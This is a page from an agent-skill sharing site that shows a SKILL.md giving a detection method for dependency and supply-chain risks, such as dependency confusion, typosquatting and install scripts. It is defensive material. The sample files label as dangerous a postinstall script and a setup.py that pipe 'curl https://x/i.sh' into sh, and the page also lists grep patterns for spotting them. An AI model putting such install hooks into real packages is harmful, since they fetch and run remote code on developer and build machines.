agentleFS
KaanBicaklarKaanBicaklar/mona-sast-skills/skills/dependency-and-supply-chain/SKILL.md

dependency-and-supply-chain

Skill2 starsChanged 4 months agoMITView on GitHub

SAST detection methodology for dependency and supply-chain risk (CWE-1104, CWE-1357, CWE-829, CWE-427), covering known-vulnerable components, dependency confusion, typosquatting, malicious install/lifecycle scripts, missing or ignored lockfiles and integrity hashes, unpinned/latest versions, direct git/URL/tarball deps, private-registry fallback to public, base-image and GitHub-Action supply chain, and unsafe module search order. Use when reviewing package.json/lockfiles, requirements.txt/poetry.lock, pom.xml, .npmrc, or pip.conf. Writes confirmed findings to findings/37-dependency-and-supply-chain.md.

  • Pipes a download into a shell
  • Installs packages

The file

We split this skill into the rules it gives an agent

3 rules. About 0 are common, 1 is distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈1

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    Every dependency is code you execute with your application's privileges, sourced from a registry you don't control.

    line 21
  2. Very specific:

    Pin exactly + lock: commit the lockfile and install with the locked, integrity-checked graph (npm ci, pip install --require-hashes, poetry …

    line 138
  3. Very specific:

    Deterministic module resolution: avoid mutating PYTHONPATH/NODE_PATH.

    line 154

≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Dependency & Supply-Chain — SAST Methodology

Class: Dependency & Supply-Chain · CWE-1104 / CWE-1357 / CWE-829 / CWE-427 · OWASP: A06 Vulnerable and Outdated Components (and A08 Software & Data Integrity Failures) Findings file: findings/37-dependency-and-supply-chain.md

1. Overview

Every dependency is code you execute with your application's privileges, sourced from a registry you don't control. Supply-chain risk is about what you pull, from where, how it's resolved, and whether it can change under you. Failure families: (1) known-vulnerable components — you depend on a version with a published CVE; (2) resolution hijack — the package manager can be steered to a package or version an attacker controls (dependency confusion, typosquatting, registry-priority/fallback bugs, unpinned ranges); (3) execution on install — lifecycle scripts (postinstall, setup.py) run arbitrary code the moment you install; (4) integrity gaps — no lockfile or hashes, so what you tested isn't what ships. The core tests: is any dependency known-vulnerable, can its identity or version be changed by someone outside your trust boundary, and does installing it execute code?

2. Where it lives

  • Node/npm/yarn/pnpm: package.json, package-lock.json, yarn.lock, pnpm-lock.yaml, .npmrc, .yarnrc/.yarnrc.yml.
  • Python: requirements*.txt, pyproject.toml, poetry.lock, Pipfile/ Pipfile.lock, setup.py/setup.cfg, pip.conf/pip.ini, constraints.txt.
  • Java/JVM: pom.xml, build.gradle(.kts), settings.gradle, gradle.lockfile, ~/.m2/settings.xml (repository order/mirrors).
  • Others: Go go.mod/go.sum, Ruby Gemfile/Gemfile.lock, PHP composer.json/composer.lock, Rust Cargo.toml/Cargo.lock, .NET *.csproj/packages.lock.json/nuget.config.
  • Container/CI supply chain: Dockerfile base images, .github/workflows/* uses: action pins (cross-reference the cicd-and-pipeline-injection skill).
  • Registry config anywhere: scope→registry mappings, NODE_PATH/PYTHONPATH, Maven <repositories>/mirror order.

3. Sources (tainted input)

The "source" is anything outside your trust boundary that can determine what code gets installed:

  • The public registry namespace: an unclaimed name matching your internal package (dependency confusion), a typo-neighbor of a popular package (typosquatting), or a maintainer account/token that gets compromised.
  • Version ranges (^, ~, *, latest, >=) that let a new (possibly malicious) release satisfy your spec on the next install.
  • Direct git/URL/tarball dependencies pointing at a mutable ref (#main, a moving tag, an http URL) an attacker can alter or MITM.
  • Registry resolution order / fallback: a private package that can be served by the public registry because priority or scoping is misconfigured.
  • Transitive dependencies — the vast majority of your code; a compromise deep in the tree still runs on install/at runtime.
  • Lifecycle-script contents of any dependency (they execute at install time).
  • Environment: PYTHONPATH/NODE_PATH/sys.path entries and the current working directory that change which module actually loads.

4. Sinks (dangerous operations)

// package.json — DANGEROUS: unpinned ranges, install script, unscoped internal name, git/url dep
{
  "name": "internal-billing-utils",          // if also unclaimed on public npm → dependency confusion
  "dependencies": {
    "lodash": "^4.0.0",                       // range: a new release auto-satisfies on install
    "express": "latest",                      // whatever is newest at install time
    "left-pad": "*",                          // any version
    "some-lib": "git+https://ex.com/x.git#main",   // mutable git ref, no integrity
    "vuln-lib": "https://ex.com/a.tgz"        // arbitrary tarball URL, no hash
  },
  "scripts": {
    "preinstall": "node ./scripts/fetch.js",  // runs arbitrary code on `npm install`
    "postinstall": "curl https://x/i.sh | sh" // classic install-time RCE vector
  }
}
# .npmrc — DANGEROUS: default registry + scope that can fall through to public
registry=https://registry.npmjs.org/          # internal @acme packages resolve here if unscoped
# missing: @acme:registry=https://npm.acme-internal/  → dependency confusion window
//registry.npmjs.org/:_authToken=${NPM_TOKEN}  # token in file if committed
# requirements.txt — DANGEROUS: unpinned, no hashes, extra public index, direct URL
requests                                       # unpinned → newest at install
flask>=1.0                                      # range
django @ https://ex.com/django.tar.gz          # direct URL, unverified
--extra-index-url https://pypi.org/simple       # public fallback for internal names → confusion
# no --require-hashes → integrity not enforced
# setup.py — DANGEROUS: arbitrary code executed at install time
from setuptools import setup
import os; os.system("curl https://x/i.sh | sh")   # runs during `pip install`
setup(name="thing", version="1.0")
<!-- pom.xml / settings.xml — DANGEROUS: version range + public repo ordered before internal -->
<dependency><groupId>com.acme</groupId><artifactId>lib</artifactId>
  <version>[1.0,)</version></dependency>          <!-- open range -->
<repositories>
  <repository><id>central</id><url>https://repo1.maven.org/maven2</url></repository>
  <repository><id>internal</id><url>https://nexus.acme/</url></repository>  <!-- public wins first-match -->
</repositories>
# Dockerfile — DANGEROUS: unpinned base image (supply-chain mutable)
FROM node:latest                                # tag can be re-pointed; not reproducible/verifiable

Dangerous patterns: a dependency version with a known CVE; internal package names also resolvable from a public registry; typo-neighbors of popular packages; preinstall/postinstall/prepare/install scripts and setup.py code; missing lockfile or --require-hashes/integrity; ^/~/*/latest/open ranges; git/URL/tarball deps at mutable refs; --extra-index-url/public-before- private repo order; unpinned base images and uses: action@tag; PYTHONPATH/ NODE_PATH or leading ./empty path entries that let a local file shadow a trusted module.

5. Sanitizers / safe patterns

Safe:

  • SCA gate: scan every dependency (including transitive) against advisory databases (npm audit, pip-audit, osv-scanner, OWASP Dependency-Check, Trivy, GitHub Dependabot); fail the build on known-vulnerable versions.
  • Pin exactly + lock: commit the lockfile and install with the locked, integrity-checked graph (npm ci, pip install --require-hashes, poetry install with poetry.lock, Gradle lockfiles, go.sum). Exact versions, not ranges, for anything security-sensitive.
  • Scope internal packages and bind the scope to your private registry (@acme:registry=...); do not add a public --extra-index-url fallback for names that exist internally. Prefer a single virtual registry (Artifactory/Nexus) that proxies public and blocks name-shadowing.
  • Disable lifecycle scripts on install where feasible (npm ci --ignore-scripts, pip install --no-build-isolation with vetted wheels; prefer prebuilt wheels over setup.py). Vet any package that requires install scripts.
  • Pin by digest/SHA: base images by @sha256:..., GitHub Actions by full commit SHA, git deps by full commit hash (never a branch/moving tag).
  • Verify provenance: signatures/attestations (Sigstore/cosign, npm provenance, SLSA), publish scoped internal packages with a claimed public placeholder to block confusion.
  • Deterministic module resolution: avoid mutating PYTHONPATH/NODE_PATH; don't run from an untrusted CWD; ensure the standard library / trusted packages can't be shadowed by a local file.

Fails / not a real mitigation:

  • A lockfile that exists but is ignored at install (npm install re-resolving ranges instead of npm ci, or CI that regenerates it) — you still float.
  • Pinning your direct deps while transitive deps float, or trusting a pin without integrity hashes (a re-published same-version tarball changes content).
  • Scoping the private registry but leaving a public --extra-index-url/mirror that first-match or highest-version resolution can still hit (pip picks the highest version across all indexes — public can win even when scoped).
  • --ignore-scripts in CI but not on developer machines (where the malicious install already ran and stole tokens).
  • "We reviewed it once" — the next release under a range is unreviewed; the risk is the update, not the current pinned state.
  • Typosquat "protection" by eyeballing names — homoglyphs and near-misses (reqests, python-dateutil vs dateutil, crossenv vs cross-env) slip past.
  • A base image pinned by tag (:3.19) rather than digest — tags are mutable.

6. Detection methodology

  1. Inventory manifests, lockfiles, and registry config.
    rg -l 'dependencies|devDependencies' -g 'package.json'
    rg -l . -g 'package-lock.json' -g 'yarn.lock' -g 'pnpm-lock.yaml' -g 'poetry.lock' -g 'Pipfile.lock' -g 'go.sum' -g 'Gemfile.lock' -g 'composer.lock'
    rg -l . -g '.npmrc' -g 'pip.conf' -g 'pip.ini' -g 'nuget.config' -g 'settings.xml'
    A manifest with no committed lockfile is itself a finding.
  2. Unpinned / range versions.
    rg -n '":\s*"[\^~*]|":\s*"latest"|":\s*">=?' package.json
    rg -n '^[A-Za-z0-9_.-]+\s*$|>=|~=|,\s*<|==\*' requirements.txt      # names with no ==, or ranges
    rg -n '<version>\[|<version>\(|LATEST|RELEASE' pom.xml
  3. Install / lifecycle scripts.
    rg -n '"(pre|post)?install"\s*:|"prepare"\s*:|"prepublish' package.json
    rg -n 'os\.system|subprocess|check_call|urlopen|exec\(|compile\(' setup.py
  4. Dependency-confusion surface. List internal/scoped names and check registry binding and public fallback.
    rg -n '"@[^/]+/|"name"\s*:' package.json          # scopes / internal names
    rg -n '--extra-index-url|--index-url|extra-index-url' requirements.txt pip.conf
    rg -n '@[^:]+:registry=|^registry=' .npmrc
    Then confirm each internal name is claimed on / not resolvable from the public registry, and that scope→registry mappings exist.
  5. Direct git/URL/tarball deps.
    rg -n 'git\+|https?://[^"]+\.(tgz|tar\.gz|whl|zip)|#(main|master|develop)"' package.json requirements.txt
  6. Typosquatting / suspicious names: eyeball the dependency list for near-misses of popular packages, brand-new/low-download packages, and maintainer changes; cross-check against an SCA/OSV feed.
  7. Container & CI supply chain.
    rg -n 'FROM\s+\S+:latest|FROM\s+[^@]+$' Dockerfile*
    rg -n 'uses:\s*[^@]+@(v?\d|main|master)\b' .github/workflows
  8. Module search order.
    rg -n 'sys\.path\.(insert|append)|PYTHONPATH|NODE_PATH|require\(\s*["'\'']\.' .
  9. Run an SCA scan (osv-scanner, npm audit, pip-audit, Trivy) for the known-vulnerable dimension and reconcile with the manifest findings.

7. Modern & niche variants

  • Known-vulnerable dependencies (SCA): a pinned version carrying a published CVE (RCE/deserialization/prototype-pollution/path-traversal in the library). Severity is inherited from the vulnerable component and its reachability in your code — a vulnerable function you never call is lower risk than one on a request path.
  • Dependency confusion: an internal package name (internal-billing-utils, @acme/… without a bound registry) that is unclaimed on the public registry; the resolver, preferring the highest version or a public index, pulls the attacker's public package instead of yours — install-time RCE inside your build/ CI. Root causes: unscoped internal names, missing scope→registry mapping, --extra-index-url to public, and public-before-private repo order.
  • Typosquatting: a malicious package named a keystroke away from a popular one (crossenv/cross-env, python3-dateutil, electron-native-notify); a typo in the manifest installs and executes it. Homoglyph and scope-confusion variants included.
  • Malicious install / lifecycle scripts: npm preinstall/postinstall/ prepare, Python setup.py/PEP 517 build hooks, Ruby gem extensions — arbitrary code the instant you install, before any of your tests run; the standard delivery mechanism for confusion/typosquat payloads (token/secret exfiltration).
  • Missing / ignored lockfile & integrity hashes: without a committed lockfile and hash-enforced install, "what you tested" and "what ships" diverge; a re-published tarball or a floated transitive dep silently changes the running code. npm install (vs npm ci) and pip install without --require-hashes reintroduce float even when a lockfile exists.
  • Unpinned / ^ / latest versions: the update itself is the attack surface; a range lets the next (compromised) release in automatically. The 2024 maintainer-account-takeover pattern relies on victims floating within a range.
  • Direct git/URL/tarball deps: deps at #main, a moving tag, or an http URL are mutable and un-hashed — the source can change or be MITM'd between installs.
  • Private-registry fallback to public: the highest-version-wins behavior of pip across multiple indexes, or npm's public default for unscoped names, lets a public package outrank the intended private one — the mechanism behind dependency confusion even when a private registry exists.
  • Base-image & GitHub-Action supply chain: FROM image:latest and uses: org/action@tag trust a mutable pointer; a re-pointed tag ships new code into your image/pipeline (cross-reference cicd-and-pipeline-injection). Pin by digest/SHA.
  • Unsafe PYTHONPATH / module search order (CWE-427): a mutated sys.path/PYTHONPATH/NODE_PATH, a leading empty/. entry, or running from an attacker-writable CWD lets a local file shadow a trusted/stdlib module — arbitrary code loaded under a trusted name without touching the registry at all.

8. Common false positives

  • A range spec that a committed lockfile pins and CI installs with npm ci/ --require-hashes (the effective version is locked and integrity-checked).
  • postinstall scripts in your own first-party package doing legitimate build work (compile/codegen), not fetching remote code.
  • Internal names that are scoped and bound to a private registry with no public fallback, or already defensively claimed on the public registry.
  • A flagged CVE in a dependency whose vulnerable code path is provably unreachable from the application (note it, but rate reachability).
  • --extra-index-url pointing at another trusted internal index only.
  • Base image pinned by digest even though a human-readable tag also appears.

9. Severity & exploitability

Base High; Critical when installation or resolution yields code execution in your build/CI/runtime — a confirmed dependency-confusion window, a typosquat/ malicious-lifecycle-script path, or a known-vulnerable component with a reachable RCE/deserialization sink. Raise for reachable pre-auth or CI-executing contexts (build servers hold the crown-jewel tokens). Lower to Medium/Low when the vulnerable code path is unreachable, the floating range is fully pinned by an enforced lockfile, or the risk is a not-yet-realized update window on a trusted internal package. A known-vulnerable component inherits the severity of its own CVE, adjusted by reachability. See references/severity-model.md.

10. Remediation

Gate every build on an SCA scan and fail on known-vulnerable versions. Commit lockfiles and install with the locked, hash-verified graph (npm ci, --require-hashes, poetry install, Gradle/Go lockfiles). Pin exact versions; scope internal packages to a private registry and remove public fallbacks — prefer a single proxying virtual registry that blocks name-shadowing, and defensively claim internal names publicly. Disable/scrutinize install lifecycle scripts, prefer prebuilt wheels, and pin base images by digest and Actions by commit SHA. Avoid mutating module search paths and never run installs from an untrusted CWD. Verify provenance/signatures where available.

11. Output

Append each confirmed finding to findings/37-dependency-and-supply-chain.md using references/finding-template.md. Set Class: Dependency & Supply-Chain and CWE: CWE-1104 (unmaintained/known-vuln third-party), CWE-1357 (reliance on insufficiently trustworthy component), CWE-829 (inclusion from an untrusted control sphere — confusion/typosquat/URL deps), or CWE-427 (uncontrolled search path) as fits. In Chain potential name primitives such as install-time / build code execution (→ RCE in CI/dev, often terminal, and provides secret/token exfiltration from the build environment), runtime RCE via a vulnerable component (→ consumes reachability from application code), and trusted-name shadowing (confusion/PYTHONPATH → provides code execution under a trusted identity). Note when it consumes a primitive such as a compromised maintainer account or a mutable base-image/Action tag from the cicd-and-pipeline-injection skill.

Primitives (controlled): provides CODE_EXEC,SECRET_LEAK; consumes none

References

  • OWASP A06:2021 Vulnerable and Outdated Components; A08:2021 Software & Data Integrity Failures; CWE-1104, CWE-1357, CWE-829, CWE-427; OWASP Dependency-Check; OSV/OSV-Scanner; SLSA supply-chain framework; Sigstore/npm provenance; Alex Birsan "Dependency Confusion" research.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.